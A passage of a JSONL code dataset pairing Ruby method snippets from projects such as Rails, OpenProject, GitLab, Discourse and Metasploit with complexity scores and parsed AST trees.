end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_for_scan_info_keys\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"info_keys\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"app_path\"]},{\"type\":\"str\",\"children\":[\"rails_version\"]},{\"type\":\"str\",\"children\":[\"security_warnings\"]},{\"type\":\"str\",\"children\":[\"start_time\"]},{\"type\":\"str\",\"children\":[\"end_time\"]},{\"type\":\"str\",\"children\":[\"duration\"]},{\"type\":\"str\",\"children\":[\"checks_performed\"]},{\"type\":\"str\",\"children\":[\"number_of_controllers\"]},{\"type\":\"str\",\"children\":[\"number_of_models\"]},{\"type\":\"str\",\"children\":[\"number_of_templates\"]},{\"type\":\"str\",\"children\":[\"ruby_version\"]},{\"type\":\"str\",\"children\":[\"brakeman_version\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@json\"]},\"[]\",{\"type\":\"str\",\"children\":[\"scan_info\"]}]},\"keys\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"info_keys\"]}]}]},\"empty?\"]}]}]}]}","id":"42928090-30f8-48a2-bb08-0eed5a43d2cc"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/services/storages/health_service.rb","start_line":79,"raw_source":"def notify_healthy_admin_users(reason)\n      return unless @storage.health_notifications_should_be_sent?\n\n      admin_users.each do |admin|\n        ::Storages::StoragesMailer.notify_healthy(admin, @storage, reason).deliver_later\n      end\n    end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"notify_healthy_admin_users\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"reason\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@storage\"]},\"health_notifications_should_be_sent?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"admin_users\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"admin\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Storages\"]},\"StoragesMailer\"]},\"notify_healthy\",{\"type\":\"lvar\",\"children\":[\"admin\"]},{\"type\":\"ivar\",\"children\":[\"@storage\"]},{\"type\":\"lvar\",\"children\":[\"reason\"]}]},\"deliver_later\"]}]}]}]}","id":"95486ec7-0ee2-4f7c-a42a-52d75d743570"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/reviewable_score_serializer.rb","start_line":77,"raw_source":"def setting_name_for_reason(reason)\n    setting_name = REASONS_AND_SETTINGS[reason.to_sym]\n\n    if setting_name.nil?\n      plugin_options = DiscoursePluginRegistry.reviewable_score_links\n      option = plugin_options.detect { |o| o[:reason] == reason.to_sym }\n\n      setting_name = option[:setting] if option\n    end\n\n    setting_name\n  end","complexity_score":19.3,"ast_json":"{\"type\":\"def\",\"children\":[\"setting_name_for_reason\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"reason\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"setting_name\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REASONS_AND_SETTINGS\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reason\"]},\"to_sym\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"setting_name\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"plugin_options\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscoursePluginRegistry\"]},\"reviewable_score_links\"]}]},{\"type\":\"lvasgn\",\"children\":[\"option\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plugin_options\"]},\"detect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"o\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"reason\"]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reason\"]},\"to_sym\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"option\"]},{\"type\":\"lvasgn\",\"children\":[\"setting_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"option\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"setting\"]}]}]},null]}]},null]},{\"type\":\"lvar\",\"children\":[\"setting_name\"]}]}]}","id":"95534aa3-8971-40e1-956e-3b5d4f0e4153"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/issues/referenced_merge_requests_service.rb","start_line":64,"raw_source":"def issue_notes(issue)\n      @issue_notes ||= {}\n      @issue_notes[issue] ||= issue.notes.includes(:author)\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"issue_notes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issue\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@issue_notes\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@issue_notes\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"issue\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue\"]},\"notes\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"author\"]}]}]}]}]}","id":"7c5b1ec7-acf0-45e5-a42c-44415495b492"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/recaptcha/db/migrate/tables/recaptcha_entries.rb","start_line":34,"raw_source":"def self.table(migration)\n    create_table migration, id: :integer do |t|\n      t.references :user, index: true, foreign_key: { on_delete: :cascade }\n      t.timestamps precision: nil\n      t.integer :version, null: false\n    end\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"table\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"migration\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"lvar\",\"children\":[\"migration\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"integer\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foreign_key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"precision\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"version\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}","id":"b4b92f0b-cbab-4b4d-ba8f-9ade7e99c034"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/workers/mails/member_job.rb","start_line":111,"raw_source":"def sending_disabled?(setting, current_user, user_id, message)\n    # Never self notify\n    return true if current_user.id == user_id\n    # In case we have an invitation message, always send a mail\n    return false if message.present?\n\n    NotificationSetting\n      .where(project_id: nil, user_id:)\n      .exists?(\"membership_#{setting}\" => false)\n  end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"sending_disabled?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"setting\"]},{\"type\":\"arg\",\"children\":[\"current_user\"]},{\"type\":\"arg\",\"children\":[\"user_id\"]},{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_user\"]},\"id\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"user_id\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"present?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NotificationSetting\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"lvar\",\"children\":[\"user_id\"]}]}]}]},\"exists?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"membership_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"setting\"]}]}]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"1b587bd9-6515-40dc-b8a2-70e8948a547a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/featurable.rb","start_line":56,"raw_source":"def access_level_attribute(feature)\n      feature = ensure_feature!(feature)\n\n      :\"#{feature}_access_level\"\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"access_level_attribute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"feature\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"feature\",{\"type\":\"send\",\"children\":[null,\"ensure_feature!\",{\"type\":\"lvar\",\"children\":[\"feature\"]}]}]},{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"feature\"]}]},{\"type\":\"str\",\"children\":[\"_access_level\"]}]}]}]}","id":"af06bb1c-1c18-4b00-a98b-4b82760e8468"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/lib/enterprise/integrations/openai_processor_service.rb","start_line":61,"raw_source":"def label_suggestion_body\n    return unless label_suggestions_enabled?\n\n    content = labels_with_messages\n    return value_from_cache if content.blank?\n\n    {\n      model: self.class::GPT_MODEL,\n      messages: [\n        {\n          role: 'system',\n          content: prompt_from_file('label_suggestion', enterprise: true)\n        },\n        { role: 'user', content: content }\n      ]\n    }.to_json\n  end","complexity_score":10.5,"ast_json":"{\"type\":\"def\",\"children\":[\"label_suggestion_body\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"label_suggestions_enabled?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"send\",\"children\":[null,\"labels_with_messages\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"value_from_cache\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"GPT_MODEL\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"messages\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"str\",\"children\":[\"system\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"send\",\"children\":[null,\"prompt_from_file\",{\"type\":\"str\",\"children\":[\"label_suggestion\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"enterprise\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"str\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"lvar\",\"children\":[\"content\"]}]}]}]}]}]},\"to_json\"]}]}]}","id":"a6df11ad-d3ef-479e-9399-50684ffedcd7"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/validations/exclusion_validation_test.rb","start_line":57,"raw_source":"def test_validates_exclusion_of_with_lambda\n    Topic.validates_exclusion_of :title, in: lambda { |topic| topic.author_name == \"sikachu\" ? %w( monkey elephant ) : %w( abe wasabi ) }\n\n    t = Topic.new\n    t.title = \"elephant\"\n    t.author_name = \"sikachu\"\n    assert_predicate t, :invalid?\n\n    t.title = \"wasabi\"\n    assert_predicate t, :valid?\n  end","complexity_score":14.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_validates_exclusion_of_with_lambda\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"validates_exclusion_of\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"in\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"topic\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"author_name\"]},\"==\",{\"type\":\"str\",\"children\":[\"sikachu\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"monkey\"]},{\"type\":\"str\",\"children\":[\"elephant\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"abe\"]},{\"type\":\"str\",\"children\":[\"wasabi\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"t\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"title=\",{\"type\":\"str\",\"children\":[\"elephant\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"author_name=\",{\"type\":\"str\",\"children\":[\"sikachu\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"t\"]},{\"type\":\"sym\",\"children\":[\"invalid?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"title=\",{\"type\":\"str\",\"children\":[\"wasabi\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"t\"]},{\"type\":\"sym\",\"children\":[\"valid?\"]}]}]}]}","id":"d1a89381-5135-4e84-b1fd-ecd56e1fbf82"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb","start_line":118,"raw_source":"def cmd_clipboard_set_text(*args)\n            args.unshift '-h' if args.length == 0\n\n            @@set_text_opts.parse(args) do |opt, _idx, _val|\n              case opt\n              when '-h'\n                print_clipboard_set_text_usage\n                return true\n              end\n            end\n\n            return client.extapi.clipboard.set_text(args.join(' '))\n          end","complexity_score":16.3,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_clipboard_set_text\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"length\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"unshift\",{\"type\":\"str\",\"children\":[\"-h\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@set_text_opts\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opt\"]},{\"type\":\"arg\",\"children\":[\"_idx\"]},{\"type\":\"arg\",\"children\":[\"_val\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-h\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_clipboard_set_text_usage\"]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]}]},null]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"extapi\"]},\"clipboard\"]},\"set_text\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]}]}]}]}","id":"b2ad85b1-a361-4d37-985a-43455506a7d5"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/codeclimate_engine_configuration.rb","start_line":38,"raw_source":"def test_default_app_path\n    assert_equal Dir.pwd,\n      Brakeman::Codeclimate::EngineConfiguration.new.options[:app_path]\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_default_app_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"pwd\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"Codeclimate\"]},\"EngineConfiguration\"]},\"new\"]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"app_path\"]}]}]}]}","id":"baacd2dd-0b87-4c88-991f-87425bd1e3f4"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/chargeable_field.rb","start_line":101,"raw_source":"def self.col_index(column)\n    @rate_cols ||= {}\n    column = VIRTUAL_COL_USES[column] || column\n    @rate_cols[column] ||= cols_on_metric_rollup.index(column.to_s)\n  end","complexity_score":7.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"col_index\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@rate_cols\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"column\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VIRTUAL_COL_USES\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"column\"]}]},{\"type\":\"lvar\",\"children\":[\"column\"]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@rate_cols\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"column\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cols_on_metric_rollup\"]},\"index\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"to_s\"]}]}]}]}]}","id":"62e1d955-4fe2-4a70-8167-66d2a48e9486"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/callbacks_test.rb","start_line":162,"raw_source":"def test_find\n    david = CallbackDeveloper.find(1)\n    assert_equal [\n      [ :after_find,            :method ],\n      [ :after_find,            :proc   ],\n      [ :after_find,            :object ],\n      [ :after_find,            :block  ],\n      [ :after_initialize,            :method ],\n      [ :after_initialize,            :proc   ],\n      [ :after_initialize,            :object ],\n      [ :after_initialize,            :block  ],\n    ], david.history\n  end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_find\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"david\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CallbackDeveloper\"]},\"find\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"after_find\"]},{\"type\":\"sym\",\"children\":[\"method\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"after_find\"]},{\"type\":\"sym\",\"children\":[\"proc\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"after_find\"]},{\"type\":\"sym\",\"children\":[\"object\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"after_find\"]},{\"type\":\"sym\",\"children\":[\"block\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"after_initialize\"]},{\"type\":\"sym\",\"children\":[\"method\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"after_initialize\"]},{\"type\":\"sym\",\"children\":[\"proc\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"after_initialize\"]},{\"type\":\"sym\",\"children\":[\"object\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"after_initialize\"]},{\"type\":\"sym\",\"children\":[\"block\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"david\"]},\"history\"]}]}]}]}","id":"ea323518-0e87-496a-8268-2aabca210016"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/number_helper_test.rb","start_line":406,"raw_source":"def test_number_helpers_should_return_nil_when_given_nil\n        [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|\n          assert_nil number_helper.number_to_phone(nil)\n          assert_nil number_helper.number_to_currency(nil)\n          assert_nil number_helper.number_to_percentage(nil)\n          assert_nil number_helper.number_to_delimited(nil)\n          assert_nil number_helper.number_to_rounded(nil)\n          assert_nil number_helper.number_to_human_size(nil)\n          assert_nil number_helper.number_to_human(nil)\n        end\n      end","complexity_score":20.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_number_helpers_should_return_nil_when_given_nil\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@instance_with_helpers\"]},{\"type\":\"const\",\"children\":[null,\"TestClassWithClassNumberHelpers\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"NumberHelper\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"number_helper\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number_helper\"]},\"number_to_phone\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number_helper\"]},\"number_to_currency\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number_helper\"]},\"number_to_percentage\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number_helper\"]},\"number_to_delimited\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number_helper\"]},\"number_to_rounded\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number_helper\"]},\"number_to_human_size\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number_helper\"]},\"number_to_human\",{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}","id":"bac3f5b8-187c-42ca-b527-90351afa8e9d"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/lib/report/transformer.rb","start_line":46,"raw_source":"def column_first\n    @column_first ||= begin\n      # reverse since we fake recursion ↓↓↓\n      list = restructured.reverse\n      all_fields = @all_fields.dup\n      result = list.inject(@ungrouped) do |aggregate, (current_fields, type)|\n        fields = all_fields\n        all_fields = all_fields - current_fields\n        aggregate.grouped_by fields, type, current_fields\n      end\n      result or query.result\n    end\n  end","complexity_score":23.6,"ast_json":"{\"type\":\"def\",\"children\":[\"column_first\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@column_first\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"list\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"restructured\"]},\"reverse\"]}]},{\"type\":\"lvasgn\",\"children\":[\"all_fields\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@all_fields\"]},\"dup\"]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"inject\",{\"type\":\"ivar\",\"children\":[\"@ungrouped\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"aggregate\"]},{\"type\":\"mlhs\",\"children\":[{\"type\":\"arg\",\"children\":[\"current_fields\"]},{\"type\":\"arg\",\"children\":[\"type\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fields\",{\"type\":\"lvar\",\"children\":[\"all_fields\"]}]},{\"type\":\"lvasgn\",\"children\":[\"all_fields\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"all_fields\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"current_fields\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"aggregate\"]},\"grouped_by\",{\"type\":\"lvar\",\"children\":[\"fields\"]},{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"current_fields\"]}]}]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query\"]},\"result\"]}]}]}]}]}","id":"f050bf87-7477-46e1-83ae-54f7442793d3"}
